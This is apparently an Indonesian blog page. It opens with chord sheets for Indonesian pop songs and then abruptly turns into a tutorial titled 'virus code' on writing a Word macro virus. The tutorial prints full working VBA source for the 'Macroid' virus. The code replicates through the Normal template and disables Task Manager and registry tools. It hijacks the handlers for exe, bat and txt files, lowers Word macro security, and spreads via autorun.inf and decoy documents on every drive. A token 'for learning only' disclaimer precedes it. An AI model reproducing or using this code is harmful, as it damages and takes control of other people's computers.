chord guitar

Cinta yang sebenarnya

Intro. C Am Em D

Em                    C
seraut wajah di balik senyum manismu
G         D
bersinar, bercahaya
Em                     C
dan ketika kucari arti cinta yang ada
G          D
hanyalah kehampaan

C       G                    Am
sedalam menahan cintakmu padaku
              Em
coba kau buktikan kasih
C       G                 B
hingga aku hanyut dalam buaimu

     Em                  C
haruskah kuterima kenyataan

rasa tak sanggup kumenahan
     Em                  C
haruskah kuterima semua ini
G                    B
cinta terpisah selamanya

Int. C Am G D

Rasa yang tertinggal

[intro] F G Am 2x

F      G           Am
Bila asmaraku tlah tiba
F         G         Am
merenggut nafas dijiwa 
      F         G             Am
itu dia, yang datang hadirkan cinta
F        G          Am
menyebar ke dalam rasa

F       G         Am
dapatkahku mengatakannya
F     G           Am
perasaan yang kupunya 
        F           G           Am
untuk dia, mestinya kuungkapkan saja
F           G         Am
tuk dapat jawaban darinya..


[Reff]
          F       G
dapatkah aku memeluknya
           Am
menjadikan bintang disurga
           F          G
memberikan warna yang bisa
     A
menjadikan indah
           F       G
aku tak mampu mengatakan
           Am
aku tak mampu tuk mengungkapkan
              F          G
hingga sampai saat ini perasaan
     Am
tlah tertinggal


F        G        Am
dapatkah dia merasakan
F      G            Am
satu nafas yg tersimpan
            F       G           Am
itu bukan cinta sekedar cinta biasa
F        G             Am
yang sesaat dan trus hilang

[int] F G Am 4x

[ending] Am..

Semua tentang kita

Intro: C G Am Em F C Am G (2x)

C           G          Am        Em
Waktu terasa semakin berlalu
     F              C        Am     G
Tinggalkan cerita tentang kita
C         G         Am     Em
Akan tiada lagi kini tawamu
      F              C            Am     G
Tuk hapuskan semua sepi di hati

Reff :
C         Bm           Am        Em
Ada cerita tentang aku dan dia
       F         C              Am      G
Dan kita bersama saat dulu kala
   C       Bm          Am            Em
Ada cerita tentang masa yang indah
        F         C             Am        G
Saat kita berduka saat kita tertawa

Int : C G Am Em F C Am G (2x)

    C         G           Am       Em
Teringat disaat kita tertawa bersama
F       C               Am         G
Ceritakan semua tentang kita

Back To Reff

Coda : C G Am Em F C Am G

Kapan kau kembali

[intro] Am F C G
  Am        F
kumencari hati yang pedih
    C         G
tak akan kembali
    Am            F
dan ku mencari cinta yang hilang
  C           G
kapankah kembali

Am F C G
huoo ooo

[*]
Am           F
kuterjaga hati terdiam
    C          G
dan terus terdiam
 Am            F
aku menanti engkau kembali
    C          G
dan terus menanti

[Reff]
       Am       F
aku terbang tinggi
          C             G
tuk menggapai bintang dilangit
          Am   F
kapan kau kembali
        C         G
kembali bersamaku lagi

  F      Em       D
kuharap dirimu menunggu
  F        Em        D
seperti cintamu yang dulu, untukku..

[int] Bm G D A 2x
      G F#m Em 2x Em...

[reff2]
       Bm       G
aku terbang tinggi
          D             A
tuk menggapai bintang dilangit
          Bm   G
kapan kau kembali
        D         A
kembali bersamaku lagi

Bm      G      D        A
huooo...huoo...huoo oo..ooo..
Bm      G      D        A
huooo...huoo...huoo oo..ooo.. [ending] G...

Ruang hidup

intro: Am G F 2x

Am             G            F
Masihkah aku bisa tertawa terbahak
Am              G             F
dari sempitnya waktu yang begitu gelap
Am             G              F
perjuangan hidup memang sangatlah berat
Am            G             F
tuk melepas beban yang begitu mengikat


Em
haruskah ku hentikan
F
waktu yang sedang berputar
C
namun itu tak mungkin bisa tuk
G
merubah s`galanya


Reff:

 C         G          Am
Aku masih bisa terus berjalan
Em          F              C          G
menikmati hidup meskipun sulit menjadi mudah
  C        G         Am
jadikan cobaan itu anugerah
     Em       F                C          G
yang bisa merubah ruang yang gelap menjadi indah


interlude: D..A..2x
           C G Am Em F C G

back to reff


Reff II:

 C         G          Am
Aku masih bisa terus berjalan
Em          F              C          G
menikmati hidup meskipun sulit menjadi mudah
  C        G         Am
jadikan cobaan itu anugerah
     Em       F                C          G
yang bisa merubah ruang yang gelap menjadi indah
    C         G        Am
dan terus langkahkan pijak ke depan
        Em         F           C       G
berikan warna hidup kita menjadi indah

solidaritas

Intro : Em Bm Am Em

Em                              Bm
mengapa harus tunggu bencana
Am                                     Em
baru kita percaya kebesaran Tuhan
Em                              Bm
mengapa harus tunggu bencana
Am                                     Em
tentara datang untuk kemanusiaan ...


Em              G            Bm
mengapa gak setiap hari 
Am                    Em
berbuat seperti ini


Em                              Bm
mengapa harus tunggu bencana
Am                                            Em
kita rela sisihkan harta untuk sesama
Em                             Bm
mengapa harus tunggu bencana
Am                                          Em
baru kita bersahabat dengan alam


musik : D ....

Am                       G        D
aku menangis lihat hari ini .... 
Am                            G        D  C
tapi tersenyum tatap masa depan  aaa ....

Em                          Bm
apa harus tunggu bencana ?
Am                      Em
baru dunia bisa bersatu !!

[intro] C G C D G 

G                           Em 
Engkau yang sedang patah hati 
  Am                        D 
Menangislah dan jangan ragu ungkapkan 
  Bm                      Em 
Betapa pedih hati yang tersakiti 
      Am                     D 
Racun yang membunuhmu secara perlahan 

G                      Em 
Engkau yang saat ini pilu 
  Am                      D 
Betapa menanggung beban kepedihan 
   Bm                     Em 
Tumpahkan sakit itu dalam tangismu 
       Am                       D 
Yang menusuk relung hati yang paling dalam 

[chorus] 
  C             G 
Hanya diri sendiri 
         C             D         G 
Yang tak mungkin orang lain akan mengerti 
     Em                     Bm 
Di sini ku temani kau dalam tangismu 
     C                  G      D 
Bila air mata dapat cairkan hati 
       Em                     Bm 
Kan ku cabut duri pedih dalam hatimu 
     C                       G          D 
Agar kulihat senyum di tidurmu malam nanti 

              Em 
Anggaplah semua ini 
               Bm 
Satu langkah dewasakan diri 
                 C       D 
Dan tak terpungkiri juga bagi 


G                       Em 
Engkau yang hatinya terluka 
    Am                   D 
Di peluk nestapa tersapu derita 
  Bm                    Em 
Seiring saat keringnya air mata 
       Am                        D 
Tak mampu menahan pedih yang tak ada habisnya 
 
  C             G 
Hanya diri sendiri 
         C             D         G 
Yang tak mungkin orang lain akan mengerti 
     Em                     Bm 
Di sini ku temani kau dalam tangismu 
     C                  G      D 
Bila air mata dapat cairkan hati 
       Em                     Bm 
Kan ku cabut duri pedih dalam hatimu 
     C                       G          D 
Agar kulihat senyum di tidurmu malam nanti 

              Em 
Anggaplah semua ini 
               Bm 
Satu langkah dewasakan diri 
                 C       D 
Dan tak terpungkiri juga bagi 

[interlude] G Em Am D Bm Em Am D  
  C             G 
Hanya diri sendiri 
         C             D         G 
Yang tak mungkin orang lain akan mengerti 
     Em                     Bm 
Di sini ku temani kau dalam tangismu 
     C                  G      D 
Bila air mata dapat cairkan hati 
       Em                     Bm 
Kan ku cabut duri pedih dalam hatimu 
     C                       G          D 
Agar kulihat senyum di tidurmu malam nanti 

              Em 
Anggaplah semua ini 
               Bm 
Satu langkah dewasakan diri 
                 C       D 
Dan tak terpungkiri juga bagi 
G                            
Engkau yang sedang patah hati

[intro] G D Em C 
        G D C 

   G       D        Em 
Maafkan ku menduakanmu 
   C        G    D          C    D 
Mencintai dia di belakang kamu kamu  
G          D          Em 
Salahkan semua tingkahku 
      C       G     D         C    D 
Yang keterlaluan menyakiti kamu kamu 

   C                    D   
Ku tak bisa menahan rasaku  
                  Bm 
saat kau jauh dariku 
                     C          D  
Tak bisa hidup tanpa cinta cinta 

[chorus] 
   C           D         Em   
Maafkanlah aku melukis luka 
     D          C      Am       D 
Membuatmu bersedih mengundang air mata 
   C         D           Em 
Cinta tak mengapa kau marah 
     D          C         Am      D 
Tapi satu ku pinta jangan kau usaikan kita 

   
[solo] C D Em D/F# 
       G C D 
       C D Em D/F# 
       G Am D 

   C                    D   
Ku tak bisa menahan rasaku  
                  Bm 
saat kau jauh dariku 
                     C          D  
Tak bisa hidup tanpa cinta cinta 

[chorus] 
   C           D         Em   
Maafkanlah aku melukis luka 
     D          C      Am       D 
Membuatmu bersedih mengundang air mata 
   C         D           Em 
Cinta tak mengapa kau marah 
     D          C         Am      D 
Tapi satu ku pinta jangan kau usaikan kita 

   C           D         Em   
Maafkanlah aku melukis luka 
     D          C      Am       D 
Membuatmu bersedih mengundang air mata 
   C         D           Em 
Cinta tak mengapa kau marah 
     D          C         Am      D 
Tapi satu ku pinta jangan kau usaikan kita 

[outro] 
         C           D   
Maafkan aku maafkan aku 
         C           D   
Maafkan aku maafkan aku 
         G 
Maafkan aku 

Intro : Am 2x F G F E 
        Am F Em 2x 
Am              F Am            F 
Saat kau membuka  pintu hatimu  
                   E 
Mungkin aku telah jauh  
Am                F Am             F 
Meninggalkan dirimu dan kenanganku  
Dm          E       Am 
Rasa kecewaku padamu  

Am                      F 
Memang kau yang terindah  
Am                  F 
Yang pernah tercipta  
                       E 
Namun bukannya kau harus  
Am            F Am                    F 
Sia-saikan aku dengan segala tingkahmu  
Dm          E       Am A 
Rasa kecewaku padamu  

Reff:  
Dm            G               C 
Biarkanlah aku mengembara jauh  
Dm                   E            Am  A 
Menghapus lupa kecewa karna cintamu  
Dm            G               C 
Jangan kau sesali kenyataan ini  
Dm                   E             F 
Karna ku bahagia lepas dari jeratmu  
E             F       E 
Ooo.. dari jeratmu ooo…  

Interlude : Dm E F C G Dm E A 
Back to reff 

Slank Ku tak bisa

Intro : C ...

C                      Em
Pernah berpikir tuk pergi
F                        C          G
dan terlintas tinggalkan kau sendiri
C                   Em
Sempat ingin sudahi sampai di sini
F                C         G 
coba lari dari kenyataan tapi ...

         Dm       F  C       G
Ku tak bisa ... jauh 2x dari mu

C              Em
Lalu mau apa lagi
F                   C            G
kalo kita sudah gak saling mengerti
C                     Em
sampai kapan bertahan seperti ini
F                  C       G
dua hati bercampur emosi tapi ...

musik : Am Em Am Em A# Gm B7 

Am                Em
Sabar 2x aku coba sabar
Am                       Em
Sadar 2x seharusnya kita sadar
         F                 Fm
Kau dan aku tercipta tak boleh berpisah ...

 

 

 

 

 

 

 

 

 

 

 

 

Slank Terlalu Manis

Intro : G C 4x

G                   C
Kuambil gitar dan Mulai memainkan 
Em                   F          C
lagu lama yang biasa kita nyanyikan 
G                          C
Tapi tak sepatah kata Yang bisa terucap
Em                  F        C
Hanya ingatan yang Ada dikepala

G                   C
Hari berganti angin Tetap berhembus 
Em                 F          C
Cuaca berubah daun-daun tetap tumbuh 
G                   C
Kata hatiku pun tak pernah berubah 
Em               F      C
Berjalan dengan apa adanya 

D                  Am
Di malam yang dingin dan gelap sepi 
D              Am        F     C
Benakku melayang pada kisah kita

   G                F     C
Terlalu manis untuk dilupakan 
     Am                Em         F Em  D  C
Kenangan yang indah Bersamamu tinggalah mimpi 
   G                F     C
Terlalu manis untuk dilupakan 
      Am                Em              F   Em D C
Walau kita memang tak saling cinta tak akan terjadi

musik (versi suka2) : Em A 4x
musik (versi jualan) : Em D G C F F G

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Slank Virus

Intro : Dm F C G

Dm      F             C              G
Aku gak mau menjadi setan yg menakutimu
Dm      F             C                 G
Aku gak mau menjadi Iblis yg menyesatkanmu

Am       Em             F               C Em
Yang aku mau kau mencoba..tuk mengenal aku
Am       Em             F             Fm
Yang aku mau kau belajar..tuk mencintai aku
     Am C        G
Tulus...& apa adanya !

Dm      F          C                G
Aku gak ingin spt Api..membakar hatimu
Dm      F             C             G
Aku gak ingin spt Duri... yg melukaimu

Am       Em             F        C Em
Yang aku tahu ku mencoba...terbuka
Am       Em             F            Fm 
Yang aku tahu ku sengaja...tuk slalu Bicara
   Am  C          G 
Jujur...& apa adanya !

Musik : F Em F C (2X) G ...


Dm       F                 C                G
Aku Bisa Saja menjadi virus...yg melumpuhkanmu

virus code

Pendahuluan

Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.

Cara Kerja
Virus komputer umumnya dapat merusak perangkat lunak komputer dan tidak dapat secara langsung merusak perangkat keras komputer tetapi dapat mengakibatkan kerusakan dengan cara memuat program yang memaksa over process ke perangkat tertentu. Efek negatif virus komputer adalah memperbanyak dirinya sendiri, yang membuat sumber daya pada komputer (seperti penggunaan memori) menjadi berkurang secara signifikan. Hampir 95% virus komputer berbasis sistem operasi Windows. Sisanya menyerang Linux/GNU, Mac, FreeBSD, OS/2 IBM, dan Sun Operating System. Virus yang ganas akan merusak perangkat keras.

(Baca: ilmu dalam tutorial ini untuk pembelajaran bukan untuk disalahgunakan)

Ini adalah tutorial saya yang kesekian kalinya dan mudah-mudahan tutorial kali ini bermanfaat untuk kalian.

Kali ini saya akan membahas mengenai virus macro… (para virus maker diharap untuk tenang dulu!).

Pasti banyak bertanya kenapa kali ini membahas tentang cara membuat virus? Biasanya kan lebih sering membahas analisis virus atau antivirusnya itu….

Yah kali ini memang agak berbeda. Selain untuk mencari suasana baru, aku juga agak tertantang dengan artikel yang saya buat ini.

Sebelum aku membuat artikel ini, aku sengaja mencari-cari kelemahan dari antivirusku sendiri (baca:Morphost). Ternyata aku lebih tertarik untuk membuat virus macro untuk mencari celah antivirusku itu. Untuk membuat artikel ini memang butuh pengorbanan juga. Soalnya komputerku jadi terinfeksi oleh virusku sendiri. Haaahhh…..

Virus macro merupakan virus yang dibuat dalam bahasa pemrograman visual basic macro di Microsoft Office. Kita ambil contoh, virus macro Word.

CARA MEMBUAT VIRUS

1.     Buka Ms.Word (hanya contoh)

2.     buka tools > Macro> Visual Basic Editor

§  Akan muncul gambar di bawah

Lalu kita ketikkan source virus nya pada kotak putih diatas dan akan tampak gambar seperti dibawah ini.

Sekarang muncul pertanyaan! Source yang bagaimana yang harus diketik???

Tenang, aku dah siapkan kok sourcenya. Makan neh source code!

‘This is my code’s virus

‘

‘Macro Viruses

‘[Macroid]

‘

‘Hanya untuk pembelajaran

Private Sub Document_Close()

Dim AD, NT As Object

Dim isi As String

Set AD = ActiveDocument.VBProject.VBComponents.Item(1)

Set NT = NormalTemplate.VBProject.VBComponents.Item(1)

If AD.Name <> “Macroid” Then

AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines

AD.Name = “Macroid”

isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)

AD.CodeModule.AddFromString isi

ActiveDocument.Save

End If

If NT.Name <> “Macroid” Then

NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines

NT.Name = “Macroid”

isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)

NT.CodeModule.AddFromString isi

NormalTemplate.Save

End If

If InStr(ActiveDocument.Content, “Macroid”) = 0 Then

ActiveDocument.Content = “[Macroid]” & vbCrLf & ActiveDocument.Content & vbCrLf & vbCrLf & vbCrLf & “[Macroid] by Morphic” & vbCrLf & “copyright(c) Medan Juli-2008″

End If

On Error Resume Next

Dim b As Object

Set b = CreateObject(“Wscript.Shell”)

b.regwrite “HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh Macroid”

b.regwrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Macroid”

b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “Macroid”

b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”

b.regwrite “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha ha ha”

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “2″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”, “1″

b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”, “Tong Sampah Macroid”

b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”, “Komputer Morphic”

b.regwrite “HKLM\SOFTWARE\Classes\exefile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\comfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\batfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”, “0pen”

b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”, “&Open”

b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\command\”, “wscript.exe ” & Environ$(“windir”) & “\avmc.vbs”

b.regwrite “HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

On Error Resume Next

Dim rog As Integer

Dim atr, vbs, Tipu(10), Trik(10) As String

For a = 66 To 90

partisi = Chr$(a)

vbs = partisi & “:\auto.vbs”

atr = partisi & “:\autorun.inf”

Tipu(1) = partisi & “:\Soal SPMB 1995-2008.doc”

Tipu(2) = partisi & “:\Kisah di balik HarryPotter.doc”

Tipu(3) = partisi & “:\Titip File sebentar.doc”

Tipu(4) = partisi & “:\jangan di baca.doc”

Tipu(5) = partisi & “:\buku harian.doc”

Tipu(6) = partisi & “:\cerita hangat.doc”

Tipu(7) = partisi & “:\Punya Baim.doc”

Tipu(8) = partisi & “:\Teka-teki yang baru.doc”

Tipu(9) = partisi & “:\Kumpulan cerita lucu.doc”

Tipu(10) = partisi & “:\Trik Sulap.doc”

If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then

Randomize

rog = Int(10 * Rnd) + 1

Open Tipu(rog) For Output As #1

Print #1, “”

Close #1

End If

Trik(1) = partisi & “:\Novel J.K.Rowling.doc”

Trik(2) = partisi & “:\cerita cinta.doc”

Trik(3) = partisi & “:\Ringkasan cerita HarryPotter.doc”

Trik(4) = partisi & “:\Semua Cheat game DOTA.doc”

Trik(5) = partisi & “:\Kumpulan Cheat game.doc”

Trik(6) = partisi & “:\Cheat game RF.doc”

Trik(7) = partisi & “:\Cheat game Ayo Dance.doc”

Trik(8) = partisi & “:\Goosebumps.doc”

Trik(9) = partisi & “:\FearStreet.doc”

Trik(10) = partisi & “:\R.L.Stine.doc”

If Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then

Randomize

rogi = Int(10 * Rnd) + 1

Open Trik(rogi) For Output As #1

Print #1, “”

Close #1

End If

Open atr For Output As #1

Print #1, “[Autorun]“

Print #1, “shell\Open\command=wscript.exe auto.vbs”

Close #1

SetAttr atr, vbHidden + vbSystem

Open vbs For Output As #1

Print #1, “dim a”

Print #1, “set a = createobject(” & Chr(34) & “Wscript.shell” & Chr(34) & “)”

Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\10.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)

Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\11.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)

Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\12.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)

Close #1

SetAttr vbs, vbHidden + vbSystem

Next a

If Dir(Environ$(“windir”) & “\Macroid.doc”) = “” Then

Dim isicrita As String

isicrita = “[Macroid] by Morphic” & vbCrLf & “Copyright(c) Medan Juli-2008″ & vbCrLf & vbCrLf & _

Chr(34) & “Ms.Word is a thing that can be used as a power to break everything…. ” & Chr(34) & vbCrLf & “(Morphic)”

Open Environ$(“windir”) & “\Macroid.doc” For Output As #1

Print #1, isicrita

Close #1

End If

If Dir(Environ$(“windir”) & “\avmc.vbs”) = “” Then

Open Environ$(“windir”) & “\avmc.vbs” For Output As #1

Print #1, “set fs = createobject(” & Chr(34) & “Scripting.FileSystemObject” & Chr(34) & “)”

Print #1, “for each FD in fs.drives”

Print #1, “if (FD.Drivetype = 1) and FD.Path <> ” & Chr(34) & “A:” & Chr(34) & ” then”

Print #1, “set tf = fs.CreateTextFile(FD.Path” & Chr(38) & Chr(34) & “\Jangan di baca.doc” & Chr(34) & “)”

Print #1, “end if”

Print #1, “Next”

Close #1

End If

ActiveDocument.Save

NormalTemplate.Save

End Sub

Private Sub Document_Open()

CommandBars(“Tools”).Controls(“Macro”).Visible = False

CommandBars(“Tools”).Controls(“Macro”).Enabled = False

CommandBars(“Tools”).Controls(“Customize…”).Visible = False

CommandBars(“Tools”).Controls(“Options…”).Visible = False

Dim AD, NT As Object

Dim isi As String

Set AD = ActiveDocument.VBProject.VBComponents.Item(1)

Set NT = NormalTemplate.VBProject.VBComponents.Item(1)

If AD.Name <> “Macroid” Then

AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines

AD.Name = “Macroid”

isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)

AD.CodeModule.AddFromString isi

ActiveDocument.Save

End If

If NT.Name <> “Macroid” Then

NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines

NT.Name = “Macroid”

isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)

NT.CodeModule.AddFromString isi

NormalTemplate.Save

End If

If InStr(ActiveDocument.Content, “Macroid”) = 0 Then

ActiveDocument.Content = “[Macroid]” & vbCrLf & ActiveDocument.Content & vbCrLf & vbCrLf & vbCrLf & “[Macroid] by Morphic” & vbCrLf & “copyright(c) Medan Juli-2008″

End If

On Error Resume Next

Dim b As Object

Set b = CreateObject(“Wscript.Shell”)

b.regwrite “HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh Macroid”

b.regwrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Macroid”

b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “Macroid”

b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”

b.regwrite “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha ha ha”

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “2″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″

b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”, “1″

b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”, “Tong Sampah Macroid”

b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”, “Komputer Morphic”

b.regwrite “HKLM\SOFTWARE\Classes\exefile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\comfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\batfile\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”, “0pen”

b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”, “&Open”

b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\command\”, “wscript.exe ” & Environ$(“windir”) & “\avmc.vbs”

b.regwrite “HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”, “Winword.exe ” & Environ$(“windir”) & “\Macroid.doc”

On Error Resume Next

Dim rog As Integer

Dim atr, vbs, Tipu(10), Trik(10) As String

For a = 66 To 90

partisi = Chr$(a)

vbs = partisi & “:\auto.vbs”

atr = partisi & “:\autorun.inf”

Tipu(1) = partisi & “:\Soal SPMB 1995-2008.doc”

Tipu(2) = partisi & “:\Kisah di balik HarryPotter.doc”

Tipu(3) = partisi & “:\Titip File sebentar.doc”

Tipu(4) = partisi & “:\jangan di baca.doc”

Tipu(5) = partisi & “:\buku harian.doc”

Tipu(6) = partisi & “:\cerita hangat.doc”

Tipu(7) = partisi & “:\Punya Baim.doc”

Tipu(8) = partisi & “:\Teka-teki yang baru.doc”

Tipu(9) = partisi & “:\Kumpulan cerita lucu.doc”

Tipu(10) = partisi & “:\Trik Sulap.doc”

If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then

Randomize

rog = Int(10 * Rnd) + 1

Open Tipu(rog) For Output As #1

Print #1, “”

Close #1

End If

Trik(1) = partisi & “:\Novel J.K.Rowling.doc”

Trik(2) = partisi & “:\cerita cinta.doc”

Trik(3) = partisi & “:\Ringkasan cerita HarryPotter.doc”

Trik(4) = partisi & “:\Semua Cheat game DOTA.doc”

Trik(5) = partisi & “:\Kumpulan Cheat game.doc”

Trik(6) = partisi & “:\Cheat game RF.doc”

Trik(7) = partisi & “:\Cheat game Ayo Dance.doc”

Trik(8) = partisi & “:\Goosebumps.doc”

Trik(9) = partisi & “:\FearStreet.doc”

Trik(10) = partisi & “:\R.L.Stine.doc”

If Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then

Randomize

rogi = Int(10 * Rnd) + 1

Open Trik(rogi) For Output As #1

Print #1, “”

Close #1

End If

Open atr For Output As #1

Print #1, “[Autorun]“

Print #1, “shell\Open\command=wscript.exe auto.vbs”

Close #1

SetAttr atr, vbHidden + vbSystem

Open vbs For Output As #1

Print #1, “dim a”

Print #1, “set a = createobject(” & Chr(34) & “Wscript.shell” & Chr(34) & “)”

Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\10.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)

Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\11.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)

Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\12.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)

Close #1

SetAttr vbs, vbHidden + vbSystem

Next a

End Sub

